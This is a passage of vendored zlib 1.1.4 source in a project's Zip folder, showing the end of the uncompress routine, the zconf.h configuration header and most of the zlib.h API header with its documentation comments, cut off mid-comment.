    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;



    stream.zalloc = (alloc_func)0;

    stream.zfree = (free_func)0;



    err = inflateInit(&stream);

    if (err != Z_OK) return err;



    err = inflate(&stream, Z_FINISH);

    if (err != Z_STREAM_END) {

        inflateEnd(&stream);

        return err == Z_OK ? Z_BUF_ERROR : err;

    }

    *destLen = stream.total_out;



    err = inflateEnd(&stream);

    return err;

}









源码/Zip/zconf.h

/* zconf.h -- configuration of the zlib compression library

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#ifndef _ZCONF_H

#define _ZCONF_H



/*

 * If you *really* need a unique prefix for all types and library functions,

 * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.

 */

#ifdef Z_PREFIX

#  define deflateInit_	z_deflateInit_

#  define deflate	z_deflate

#  define deflateEnd	z_deflateEnd

#  define inflateInit_ 	z_inflateInit_

#  define inflate	z_inflate

#  define inflateEnd	z_inflateEnd

#  define deflateInit2_	z_deflateInit2_

#  define deflateSetDictionary z_deflateSetDictionary

#  define deflateCopy	z_deflateCopy

#  define deflateReset	z_deflateReset

#  define deflateParams	z_deflateParams

#  define inflateInit2_	z_inflateInit2_

#  define inflateSetDictionary z_inflateSetDictionary

#  define inflateSync	z_inflateSync

#  define inflateSyncPoint z_inflateSyncPoint

#  define inflateReset	z_inflateReset

#  define compress	z_compress

#  define compress2	z_compress2

#  define uncompress	z_uncompress

#  define adler32	z_adler32

#  define crc32		z_crc32

#  define get_crc_table z_get_crc_table



#  define Byte		z_Byte

#  define uInt		z_uInt

#  define uLong		z_uLong

#  define Bytef	        z_Bytef

#  define charf		z_charf

#  define intf		z_intf

#  define uIntf		z_uIntf

#  define uLongf	z_uLongf

#  define voidpf	z_voidpf

#  define voidp		z_voidp

#endif



#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)

#  define WIN32

#endif

#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)

#  ifndef __32BIT__

#    define __32BIT__

#  endif

#endif

#if defined(__MSDOS__) && !defined(MSDOS)

#  define MSDOS

#endif



/*

 * Compile with -DMAXSEG_64K if the alloc function cannot allocate more

 * than 64k bytes at a time (needed on systems with 16-bit int).

 */

#if defined(MSDOS) && !defined(__32BIT__)

#  define MAXSEG_64K

#endif

#ifdef MSDOS

#  define UNALIGNED_OK

#endif



#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32))  && !defined(STDC)

#  define STDC

#endif

#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)

#  ifndef STDC

#    define STDC

#  endif

#endif



#ifndef STDC

#  ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */

#    define const

#  endif

#endif



/* Some Mac compilers merge all .h files incorrectly: */

#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)

#  define NO_DUMMY_DECL

#endif



/* Old Borland C incorrectly complains about missing returns: */

#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)

#  define NEED_DUMMY_RETURN

#endif





/* Maximum value for memLevel in deflateInit2 */

#ifndef MAX_MEM_LEVEL

#  ifdef MAXSEG_64K

#    define MAX_MEM_LEVEL 8

#  else

#    define MAX_MEM_LEVEL 9

#  endif

#endif



/* Maximum value for windowBits in deflateInit2 and inflateInit2.

 * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files

 * created by gzip. (Files created by minigzip can still be extracted by

 * gzip.)

 */

#ifndef MAX_WBITS

#  define MAX_WBITS   15 /* 32K LZ77 window */

#endif



/* The memory requirements for deflate are (in bytes):

            (1 << (windowBits+2)) +  (1 << (memLevel+9))

 that is: 128K for windowBits=15  +  128K for memLevel = 8  (default values)

 plus a few kilobytes for small objects. For example, if you want to reduce

 the default memory requirements from 256K to 128K, compile with

     make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"

 Of course this will generally degrade compression (there's no free lunch).



   The memory requirements for inflate are (in bytes) 1 << windowBits

 that is, 32K for windowBits=15 (default value) plus a few kilobytes

 for small objects.

*/



                        /* Type declarations */



#ifndef OF /* function prototypes */

#  ifdef STDC

#    define OF(args)  args

#  else

#    define OF(args)  ()

#  endif

#endif



/* The following definitions for FAR are needed only for MSDOS mixed

 * model programming (small or medium model with some far allocations).

 * This was tested only with MSC; for other MSDOS compilers you may have

 * to define NO_MEMCPY in zutil.h.  If you don't need the mixed model,

 * just define FAR to be empty.

 */

#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)

   /* MSC small or medium model */

#  define SMALL_MEDIUM

#  ifdef _MSC_VER

#    define FAR _far

#  else

#    define FAR far

#  endif

#endif

#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))

#  ifndef __32BIT__

#    define SMALL_MEDIUM

#    define FAR _far

#  endif

#endif



/* Compile with -DZLIB_DLL for Windows DLL support */

#if defined(ZLIB_DLL)

#  if defined(_WINDOWS) || defined(WINDOWS)

#    ifdef FAR

#      undef FAR

#    endif

#    include <windows.h>

#    define ZEXPORT  WINAPI

#    ifdef WIN32

#      define ZEXPORTVA  WINAPIV

#    else

#      define ZEXPORTVA  FAR _cdecl _export

#    endif

#  endif

#  if defined (__BORLANDC__)

#    if (__BORLANDC__ >= 0x0500) && defined (WIN32)

#      include <windows.h>

#      define ZEXPORT __declspec(dllexport) WINAPI

#      define ZEXPORTRVA __declspec(dllexport) WINAPIV

#    else

#      if defined (_Windows) && defined (__DLL__)

#        define ZEXPORT _export

#        define ZEXPORTVA _export

#      endif

#    endif

#  endif

#endif



#if defined (__BEOS__)

#  if defined (ZLIB_DLL)

#    define ZEXTERN extern __declspec(dllexport)

#  else

#    define ZEXTERN extern __declspec(dllimport)

#  endif

#endif



#ifndef ZEXPORT

#  define ZEXPORT

#endif

#ifndef ZEXPORTVA

#  define ZEXPORTVA

#endif

#ifndef ZEXTERN

#  define ZEXTERN extern

#endif



#ifndef FAR

#   define FAR

#endif



#if !defined(MACOS) && !defined(TARGET_OS_MAC)

typedef unsigned char  Byte;  /* 8 bits */

#endif

typedef unsigned int   uInt;  /* 16 bits or more */

typedef unsigned long  uLong; /* 32 bits or more */



#ifdef SMALL_MEDIUM

   /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */

#  define Bytef Byte FAR

#else

   typedef Byte  FAR Bytef;

#endif

typedef char  FAR charf;

typedef int   FAR intf;

typedef uInt  FAR uIntf;

typedef uLong FAR uLongf;



#ifdef STDC

   typedef void FAR *voidpf;

   typedef void     *voidp;

#else

   typedef Byte FAR *voidpf;

   typedef Byte     *voidp;

#endif



#ifdef HAVE_UNISTD_H

#  include <sys/types.h> /* for off_t */

#  include <unistd.h>    /* for SEEK_* and off_t */

#  define z_off_t  off_t

#endif

#ifndef SEEK_SET

#  define SEEK_SET        0       /* Seek from beginning of file.  */

#  define SEEK_CUR        1       /* Seek from current position.  */

#  define SEEK_END        2       /* Set file pointer to EOF plus "offset" */

#endif

#ifndef z_off_t

#  define  z_off_t long

#endif



/* MVS linker does not support external names larger than 8 bytes */

#if defined(__MVS__)

#   pragma map(deflateInit_,"DEIN")

#   pragma map(deflateInit2_,"DEIN2")

#   pragma map(deflateEnd,"DEEND")

#   pragma map(inflateInit_,"ININ")

#   pragma map(inflateInit2_,"ININ2")

#   pragma map(inflateEnd,"INEND")

#   pragma map(inflateSync,"INSY")

#   pragma map(inflateSetDictionary,"INSEDI")

#   pragma map(inflate_blocks,"INBL")

#   pragma map(inflate_blocks_new,"INBLNE")

#   pragma map(inflate_blocks_free,"INBLFR")

#   pragma map(inflate_blocks_reset,"INBLRE")

#   pragma map(inflate_codes_free,"INCOFR")

#   pragma map(inflate_codes,"INCO")

#   pragma map(inflate_fast,"INFA")

#   pragma map(inflate_flush,"INFLU")

#   pragma map(inflate_mask,"INMA")

#   pragma map(inflate_set_dictionary,"INSEDI2")

#   pragma map(inflate_copyright,"INCOPY")

#   pragma map(inflate_trees_bits,"INTRBI")

#   pragma map(inflate_trees_dynamic,"INTRDY")

#   pragma map(inflate_trees_fixed,"INTRFI")

#   pragma map(inflate_trees_free,"INTRFR")

#endif



#endif /* _ZCONF_H */









源码/Zip/zlib.h

/* zlib.h -- interface of the 'zlib' general purpose compression library

  version 1.1.4, March 11th, 2002



  Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler



  This software is provided 'as-is', without any express or implied

  warranty.  In no event will the authors be held liable for any damages

  arising from the use of this software.



  Permission is granted to anyone to use this software for any purpose,

  including commercial applications, and to alter it and redistribute it

  freely, subject to the following restrictions:



  1. The origin of this software must not be misrepresented; you must not

     claim that you wrote the original software. If you use this software

     in a product, an acknowledgment in the product documentation would be

     appreciated but is not required.

  2. Altered source versions must be plainly marked as such, and must not be

     misrepresented as being the original software.

  3. This notice may not be removed or altered from any source distribution.



  Jean-loup Gailly        Mark Adler

  jloup@gzip.org          madler@alumni.caltech.edu





  The data format used by the zlib library is described by RFCs (Request for

  Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt

  (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).

*/



#ifndef _ZLIB_H

#define _ZLIB_H



#include "zconf.h"



#ifdef __cplusplus

extern "C" {

#endif



#define ZLIB_VERSION "1.1.4"



/* 

     The 'zlib' compression library provides in-memory compression and

  decompression functions, including integrity checks of the uncompressed

  data.  This version of the library supports only one compression method

  (deflation) but other algorithms will be added later and will have the same

  stream interface.



     Compression can be done in a single step if the buffers are large

  enough (for example if an input file is mmap'ed), or can be done by

  repeated calls of the compression function.  In the latter case, the

  application must provide more input and/or consume the output

  (providing more output space) before each call.



     The library also supports reading and writing files in gzip (.gz) format

  with an interface similar to that of stdio.



     The library does not install any signal handler. The decoder checks

  the consistency of the compressed data, so the library should never

  crash even in case of corrupted input.

*/



typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));

typedef void   (*free_func)  OF((voidpf opaque, voidpf address));



struct internal_state;



typedef struct z_stream_s {

    Bytef    *next_in;  /* next input byte */

    uInt     avail_in;  /* number of bytes available at next_in */

    uLong    total_in;  /* total nb of input bytes read so far */



    Bytef    *next_out; /* next output byte should be put there */

    uInt     avail_out; /* remaining free space at next_out */

    uLong    total_out; /* total nb of bytes output so far */



    char     *msg;      /* last error message, NULL if no error */

    struct internal_state FAR *state; /* not visible by applications */



    alloc_func zalloc;  /* used to allocate the internal state */

    free_func  zfree;   /* used to free the internal state */

    voidpf     opaque;  /* private data object passed to zalloc and zfree */



    int     data_type;  /* best guess about the data type: ascii or binary */

    uLong   adler;      /* adler32 value of the uncompressed data */

    uLong   reserved;   /* reserved for future use */

} z_stream;



typedef z_stream FAR *z_streamp;



/*

   The application must update next_in and avail_in when avail_in has

   dropped to zero. It must update next_out and avail_out when avail_out

   has dropped to zero. The application must initialize zalloc, zfree and

   opaque before calling the init function. All other fields are set by the

   compression library and must not be updated by the application.



   The opaque value provided by the application will be passed as the first

   parameter for calls of zalloc and zfree. This can be useful for custom

   memory management. The compression library attaches no meaning to the

   opaque value.



   zalloc must return Z_NULL if there is not enough memory for the object.

   If zlib is used in a multi-threaded application, zalloc and zfree must be

   thread safe.



   On 16-bit systems, the functions zalloc and zfree must be able to allocate

   exactly 65536 bytes, but will not be required to allocate more than this

   if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,

   pointers returned by zalloc for objects of exactly 65536 bytes *must*

   have their offset normalized to zero. The default allocation function

   provided by this library ensures this (see zutil.c). To reduce memory

   requirements and avoid any allocation of 64K objects, at the expense of

   compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).



   The fields total_in and total_out can be used for statistics or

   progress reports. After compression, total_in holds the total size of

   the uncompressed data and may be saved for use in the decompressor

   (particularly if the decompressor wants to decompress everything in

   a single step).

*/



                        /* constants */



#define Z_NO_FLUSH      0

#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */

#define Z_SYNC_FLUSH    2

#define Z_FULL_FLUSH    3

#define Z_FINISH        4

/* Allowed flush values; see deflate() below for details */



#define Z_OK            0

#define Z_STREAM_END    1

#define Z_NEED_DICT     2

#define Z_ERRNO        (-1)

#define Z_STREAM_ERROR (-2)

#define Z_DATA_ERROR   (-3)

#define Z_MEM_ERROR    (-4)

#define Z_BUF_ERROR    (-5)

#define Z_VERSION_ERROR (-6)

/* Return codes for the compression/decompression functions. Negative

 * values are errors, positive values are used for special but normal events.

 */



#define Z_NO_COMPRESSION         0

#define Z_BEST_SPEED             1

#define Z_BEST_COMPRESSION       9

#define Z_DEFAULT_COMPRESSION  (-1)

/* compression levels */



#define Z_FILTERED            1

#define Z_HUFFMAN_ONLY        2

#define Z_DEFAULT_STRATEGY    0

/* compression strategy; see deflateInit2() below for details */



#define Z_BINARY   0

#define Z_ASCII    1

#define Z_UNKNOWN  2

/* Possible values of the data_type field */



#define Z_DEFLATED   8

/* The deflate compression method (the only one supported in this version) */



#define Z_NULL  0  /* for initializing zalloc, zfree, opaque */



#define zlib_version zlibVersion()

/* for compatibility with versions < 1.0.2 */



                        /* basic functions */



ZEXTERN const char * ZEXPORT zlibVersion OF((void));

/* The application can compare zlibVersion and ZLIB_VERSION for consistency.

   If the first character differs, the library code actually used is

   not compatible with the zlib.h header file used by the application.

   This check is automatically made by deflateInit and inflateInit.

 */



/* 

ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));



     Initializes the internal stream state for compression. The fields

   zalloc, zfree and opaque must be initialized before by the caller.

   If zalloc and zfree are set to Z_NULL, deflateInit updates them to

   use default allocation functions.



     The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:

   1 gives best speed, 9 gives best compression, 0 gives no compression at

   all (the input data is simply copied a block at a time).

   Z_DEFAULT_COMPRESSION requests a default compromise between speed and

   compression (currently equivalent to level 6).



     deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not

   enough memory, Z_STREAM_ERROR if level is not a valid compression level,

   Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible

   with the version assumed by the caller (ZLIB_VERSION).

   msg is set to null if there is no error message.  deflateInit does not

   perform any compression: this will be done by deflate().

*/





ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));

/*

    deflate compresses as much data as possible, and stops when the input

  buffer becomes empty or the output buffer becomes full. It may introduce some

  output latency (reading input without producing any output) except when

  forced to flush.



    The detailed semantics are as follows. deflate performs one or both of the

  following actions:



  - Compress more input starting at next_in and update next_in and avail_in

    accordingly. If not all input can be processed (because there is not

    enough room in the output buffer), next_in and avail_in are updated and

    processing will resume at this point for the next call of deflate().



  - Provide more output starting at next_out and update next_out and avail_out

    accordingly. This action is forced if the parameter flush is non zero.

    Forcing flush frequently degrades the compression ratio, so this parameter

    should be set only when necessary (in interactive applications).

    Some output may be provided even if flush is not set.



  Before the call of deflate(), the application should ensure that at least

  one of the actions is possible, by providing more input and/or consuming

  more output, and updating avail_in or avail_out accordingly; avail_out

  should never be zero before the call. The application can consume the

  compressed output when it wants, for example when the output buffer is full

  (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK

  and with zero avail_out, it must be called again after making room in the

  output buffer because there might be more output pending.



    If the parameter flush is set to Z_SYNC_FLUSH, all pending output is

  flushed to the output buffer and the output is aligned on a byte boundary, so

  that the decompressor can get all input data available so far. (In particular

  avail_in is zero after the call if enough output space has been provided

  before the call.)  Flushing may degrade compression for some compression

  algorithms and so it should be used only when necessary.



    If flush is set to Z_FULL_FLUSH, all output is flushed as with

  Z_SYNC_FLUSH, and the compression state is reset so that decompression can

  restart from this point if previous compressed data has been damaged or if

  random access is desired. Using Z_FULL_FLUSH too often can seriously degrade

  the compression.



    If deflate returns with avail_out == 0, this function must be called again

  with the same value of the flush parameter and more output space (updated

  avail_out), until the flush is complete (deflate returns with non-zero

  avail_out).



    If the parameter flush is set to Z_FINISH, pending input is processed,

  pending output is flushed and deflate returns with Z_STREAM_END if there

  was enough output space; if deflate returns with Z_OK, this function must be

  called again with Z_FINISH and more output space (updated avail_out) but no

  more input data, until it returns with Z_STREAM_END or an error. After

  deflate has returned Z_STREAM_END, the only possible operations on the

  stream are deflateReset or deflateEnd.

  

    Z_FINISH can be used immediately after deflateInit if all the compression

  is to be done in a single step. In this case, avail_out must be at least

  0.1% larger than avail_in plus 12 bytes.  If deflate does not return

  Z_STREAM_END, then it must be called again as described above.



    deflate() sets strm->adler to the adler32 checksum of all input read

  so far (that is, total_in bytes).



    deflate() may update data_type if it can make a good guess about

  the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered

  binary. This field is only for information purposes and does not affect

  the compression algorithm in any manner.



    deflate() returns Z_OK if some progress has been made (more input

  processed or more output produced), Z_STREAM_END if all input has been

  consumed and all output has been produced (only when flush is set to

  Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example

  if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible

  (for example avail_in or avail_out was zero).

*/





ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));

/*

     All dynamically allocated data structures for this stream are freed.

   This function discards any unprocessed input and does not flush any

   pending output.



     deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the

   stream state was inconsistent, Z_DATA_ERROR if the stream was freed

   prematurely (some input or output was discarded). In the error case,

   msg may be set but then points to a static string (which must not be

   deallocated).

*/





/* 

ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));



     Initializes the internal stream state for decompression. The fields

   next_in, avail_in, zalloc, zfree and opaque must be initialized before by

   the caller. If next_in is not Z_NULL and avail_in is large enough (the exact

   value depends on the compression method), inflateInit determines the

   compression method from the zlib header and allocates all data structures

   accordingly; otherwise the allocation will be deferred to the first call of

   inflate.  If zalloc and zfree are set to Z_NULL, inflateInit updates them to

   use default allocation functions.



     inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough

   memory, Z_VERSION_ERROR if the zlib library version is incompatible with the

   version assumed by the caller.  msg is set to null if there is no error

   message. inflateInit does not perform any decompression apart from reading

   the zlib header if present: this will be done by inflate().  (So next_in and

   avail_in may be modified, but next_out and avail_out are unchanged.)

*/





ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));

/*

    inflate decompresses as much data as possible, and stops when the input

  buffer becomes empty or the output buffer becomes full. It may some

  introduce some output latency (reading input without producing any output)

  except when forced to flush.



  The detailed semantics are as follows. inflate performs one or both of the

  following actions:



  - Decompress more input starting at next_in and update next_in and avail_in

    accordingly. If not all input can be processed (because there is not

    enough room in the output buffer), next_in is updated and processing

    will resume at this point for the next call of inflate().



  - Provide more output starting at next_out and update next_out and avail_out

    accordingly.  inflate() provides as much output as possible, until there

    is no more input data or no more space in the output buffer (see below

    about the flush parameter).



  Before the call of inflate(), the application should ensure that at least

  one of the actions is possible, by providing more input and/or consuming

  more output, and updating the next_* and avail_* values accordingly.

  The application can consume the uncompressed output when it wants, for

  example when the output buffer is full (avail_out == 0), or after each

  call of inflate(). If inflate returns Z_OK and with zero avail_out, it

  must be called again after making room in the output buffer because there

  might be more output pending.



    If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much

  output as possible to the output buffer. The flushing behavior of inflate is

  not specified for values of the flush parameter other than Z_SYNC_FLUSH

  and Z_FINISH, but the current implementation actually flushes as much output

  as possible anyway.



    inflate() should normally be called until it returns Z_STREAM_END or an

  error. However if all decompression is to be performed in a single step

  (a single call of inflate), the parameter flush should be set to

  Z_FINISH. In this case all pending input is processed and all pending

  output is flushed; avail_out must be large enough to hold all the

  uncompressed data. (The size of the uncompressed data may have been saved

  by the compressor for this purpose.) The next operation on this stream must

  be inflateEnd to deallocate the decompression state. The use of Z_FINISH

  is never required, but can be used to inform inflate that a faster routine

  may be used for the single inflate() call.



     If a preset dictionary is needed at this point (see inflateSetDictionary

  below), inflate sets strm-adler to the adler32 checksum of the

  dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise 

  it sets strm->adler to the adler32 checksum of all output produced

  so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or

  an error code as described below. At the end of the stream, inflate()

  checks that its computed adler32 checksum is equal to that saved by the

  compressor and returns Z_STREAM_END only if the checksum is correct.



    inflate() returns Z_OK if some progress has been made (more input processed

  or more output produced), Z_STREAM_END if the end of the compressed data has

  been reached and all uncompressed output has been produced, Z_NEED_DICT if a

  preset dictionary is needed at this point, Z_DATA_ERROR if the input data was

  corrupted (input stream not conforming to the zlib format or incorrect

  adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent

  (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not

  enough memory, Z_BUF_ERROR if no progress is possible or if there was not

  enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR

  case, the application may then call inflateSync to look for a good

  compression block.

*/





ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));

/*

     All dynamically allocated data structures for this stream are freed.

   This function discards any unprocessed input and does not flush any

   pending output.



     inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state

   was inconsistent. In the error case, msg may be set but then points to a

   static string (which must not be deallocated).

*/



                        /* Advanced functions */



/*

    The following functions are needed only in some special applications.

*/



/*   

ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,

                                     int  level,

                                     int  method,

                                     int  windowBits,

                                     int  memLevel,

                                     int  strategy));



     This is another version of deflateInit with more compression options. The

   fields next_in, zalloc, zfree and opaque must be initialized before by

   the caller.



     The method parameter is the compression method. It must be Z_DEFLATED in

   this version of the library.



     The windowBits parameter is the base two logarithm of the window size

   (the size of the history buffer).  It should be in the range 8..15 for this

   version of the library. Larger values of this parameter result in better

   compression at the expense of memory usage. The default value is 15 if

   deflateInit is used instead.



     The memLevel parameter specifies how much memory should be allocated

   for the internal compression state. memLevel=1 uses minimum memory but

   is slow and reduces compression ratio; memLevel=9 uses maximum memory

   for optimal speed. The default value is 8. See zconf.h for total memory

   usage as a function of windowBits and memLevel.



     The strategy parameter is used to tune the compression algorithm. Use the

   value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a

   filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no

   string match).  Filtered data consists mostly of small values with a

   somewhat random distribution. In this case, the compression algorithm is

   tuned to compress them better. The effect of Z_FILTERED is to force more

   Huffman coding and less string matching; it is somewhat intermediate

   between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects

   the compression ratio but not the correctness of the compressed output even

   if it is not set appropriately.



      deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough

   memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid

   method). msg is set to null if there is no error message.  deflateInit2 does

   not perform any compression: this will be done by deflate().

*/

                            

ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,

                                             const Bytef *dictionary,

                                             uInt  dictLength));

/*

     Initializes the compression dictionary from the given byte sequence

   without producing any compressed output. This function must be called

   immediately after deflateInit, deflateInit2 or deflateReset, before any

   call of deflate. The compressor and decompressor must use exactly the same

   dictionary (see inflateSetDictionary).



     The dictionary should consist of strings (byte sequences) that are likely

   to be encountered later in the data to be compressed, with the most commonly

   used strings preferably put towards the end of the dictionary. Using a

   dictionary is most useful when the data to be compressed is short and can be

   predicted with good accuracy; the data can then be compressed better than

   with the default empty dictionary.



     Depending on the size of the compression data structures selected by

   deflateInit or deflateInit2, a part of the dictionary may in effect be

   discarded, for example if the dictionary is larger than the window size in

   deflate or deflate2. Thus the strings most likely to be useful should be

   put at the end of the dictionary, not at the front.



     Upon return of this function, strm->adler is set to the Adler32 value

   of the dictionary; the decompressor may later use this value to determine

   which dictionary has been used by the compressor. (The Adler32 value

   applies to the whole dictionary even if only a subset of the dictionary is

   actually used by the compressor.)



     deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a

   parameter is invalid (such as NULL dictionary) or the stream state is

   inconsistent (for example if deflate has already been called for this stream

   or if the compression method is bsort). deflateSetDictionary does not

   perform any compression: this will be done by deflate().

*/



ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,

                                    z_streamp source));

/*

     Sets the destination stream as a complete copy of the source stream.



     This function can be useful when several compression strategies will be

   tried, for example when there are several ways of pre-processing the input

   data with a filter. The streams that will be discarded should then be freed

   by calling deflateEnd.  Note that deflateCopy duplicates the internal

   compression state which can be quite large, so this strategy is slow and

   can consume lots of memory.



     deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not

   enough memory, Z_STREAM_ERROR if the source stream state was inconsistent

   (such as zalloc being NULL). msg is left unchanged in both source and

   destination.

*/



ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));

/*

     This function is equivalent to deflateEnd followed by deflateInit,

   but does not free and reallocate all the internal compression state.

   The stream will keep the same compression level and any other attributes

   that may have been set by deflateInit2.



      deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source

   stream state was inconsistent (such as zalloc or state being NULL).

*/



ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,

				      int level,

				      int strategy));

/*

     Dynamically update the compression level and compression strategy.  The

   interpretation of level and strategy is as in deflateInit2.  This can be

   used to switch between compression and straight copy of the input data, or

   to switch to a different kind of input data requiring a different

   strategy. If the compression level is changed, the input available so far

   is compressed with the old level (and may be flushed); the new level will

   take effect only at the next call of deflate().



     Before the call of deflateParams, the stream state must be set as for

   a call of deflate(), since the currently available input may have to

   be compressed and flushed. In particular, strm->avail_out must be non-zero.



     deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source

   stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR

   if strm->avail_out was zero.

*/



/*   

ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,

                                     int  windowBits));



     This is another version of inflateInit with an extra parameter. The

   fields next_in, avail_in, zalloc, zfree and opaque must be initialized

   before by the caller.



     The windowBits parameter is the base two logarithm of the maximum window

   size (the size of the history buffer).  It should be in the range 8..15 for

   this version of the library. The default value is 15 if inflateInit is used

   instead. If a compressed stream with a larger window size is given as

   input, inflate() will return with the error code Z_DATA_ERROR instead of

   trying to allocate a larger window.



      inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough

   memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative

   memLevel). msg is set to null if there is no error message.  inflateInit2

   does not perform any decompression apart from reading the zlib header if

   present: this will be done by inflate(). (So next_in and avail_in may be

   modified, but next_out and avail_out are unchanged.)

*/



ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,

                                             const Bytef *dictionary,

                                             uInt  dictLength));

/*

     Initializes the decompression dictionary from the given uncompressed byte

   sequence. This function must be called immediately after a call of inflate

   if this call returned Z_NEED_DICT. The dictionary chosen by the compressor

   can be determined from the Adler32 value returned by this call of

   inflate. The compressor and decompressor must use exactly the same

   dictionary (see deflateSetDictionary).



     inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a

   parameter is invalid (such as NULL dictionary) or the stream state is

   inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the

   expected one (incorrect Adler32 value). inflateSetDictionary does not

   perform any decompression: this will be done by subsequent calls of

   inflate().

*/



ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));

/* 

    Skips invalid compressed data until a full flush point (see above the

  description of deflate with Z_FULL_FLUSH) can be found, or until all

  available input is skipped. No output is provided.



    inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR

  if no more input was provided, Z_DATA_ERROR if no flush point has been found,

  or Z_STREAM_ERROR if the stream structure was inconsistent. In the success

  case, the application may save the current current value of total_in which

  indicates where valid compressed data was found. In the error case, the

  application may repeatedly call inflateSync, providing more input each time,

  until success or end of the input data.

*/



ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));

/*

     This function is equivalent to inflateEnd followed by inflateInit,

   but does not free and reallocate all the internal decompression state.

   The stream will keep attributes that may have been set by inflateInit2.



      inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source

   stream state was inconsistent (such as zalloc or state being NULL).

*/





                        /* utility functions */



/*

     The following utility functions are implemented on top of the

   basic stream-oriented functions. To simplify the interface, some

   default options are assumed (compression level and memory usage,

   standard memory allocation functions). The source code of these

   utility functions can easily be modified if you need special options.

*/



ZEXTERN int ZEXPORT compress OF((Bytef *dest,   uLongf *destLen,

                                 const Bytef *source, uLong sourceLen));

/*

     Compresses the source buffer into the destination buffer.  sourceLen is

   the byte length of the source buffer. Upon entry, destLen is the total

   size of the destination buffer, which must be at least 0.1% larger than

   sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the

   compressed buffer.

     This function can be used to compress a whole file at once if the

   input file is mmap'ed.

     compress returns Z_OK if success, Z_MEM_ERROR if there was not

   enough memory, Z_BUF_ERROR if there was not enough room in the output

   buffer.

*/



ZEXTERN int ZEXPORT compress2 OF((Bytef *dest,   uLongf *destLen,

                                  const Bytef *source, uLong sourceLen,

                                  int level));

/*

     Compresses the source buffer into the destination buffer. The level

   parameter has the same meaning as in deflateInit.  sourceLen is the byte

   length of the source buffer. Upon entry, destLen is the total size of the

   destination buffer, which must be at least 0.1% larger than sourceLen plus

   12 bytes. Upon exit, destLen is the actual size of the compressed buffer.



     compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough

   memory, Z_BUF_ERROR if there was not enough room in the output buffer,

   Z_STREAM_ERROR if the level parameter is invalid.

*/



ZEXTERN int ZEXPORT uncompress OF((Bytef *dest,   uLongf *destLen,

                                   const Bytef *source, uLong sourceLen));

/*

     Decompresses the source buffer into the destination buffer.  sourceLen is

   the byte length of the source buffer. Upon entry, destLen is the total

   size of the destination buffer, which must be large enough to hold the

   entire uncompressed data. (The size of the uncompressed data must have

   been saved previously by the compressor and transmitted to the decompressor

   by some mechanism outside the scope of this compression library.)
